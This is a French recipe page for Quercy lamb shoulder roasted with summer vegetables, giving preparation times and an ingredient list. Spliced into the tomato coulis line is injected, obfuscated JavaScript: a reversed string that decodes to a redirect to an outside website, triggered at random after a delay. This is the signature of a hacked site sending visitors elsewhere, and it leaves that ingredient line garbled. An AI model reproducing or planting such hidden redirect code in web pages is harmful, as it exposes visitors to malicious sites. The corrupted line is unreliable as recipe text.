Epaule d’agneau du Quercy & légumes du soleil

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http://www.la-garenne-cahors.com

Recette
Temps de préparation : 20 min

Temps de cuisson : 120 min

Ingrédient :
• 1 épaule d’agneau fermier du Quercy
• Persil
• Herbes de provence
• Basilic
• Ail
• 2/3 courgettes
• Fenouil
• Oignon
• 2 aubergines
• Poivrons rouge et vert
• 2 grandes boites de coulis de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomate
• 6/8 pommes de terre
• Sel & poivre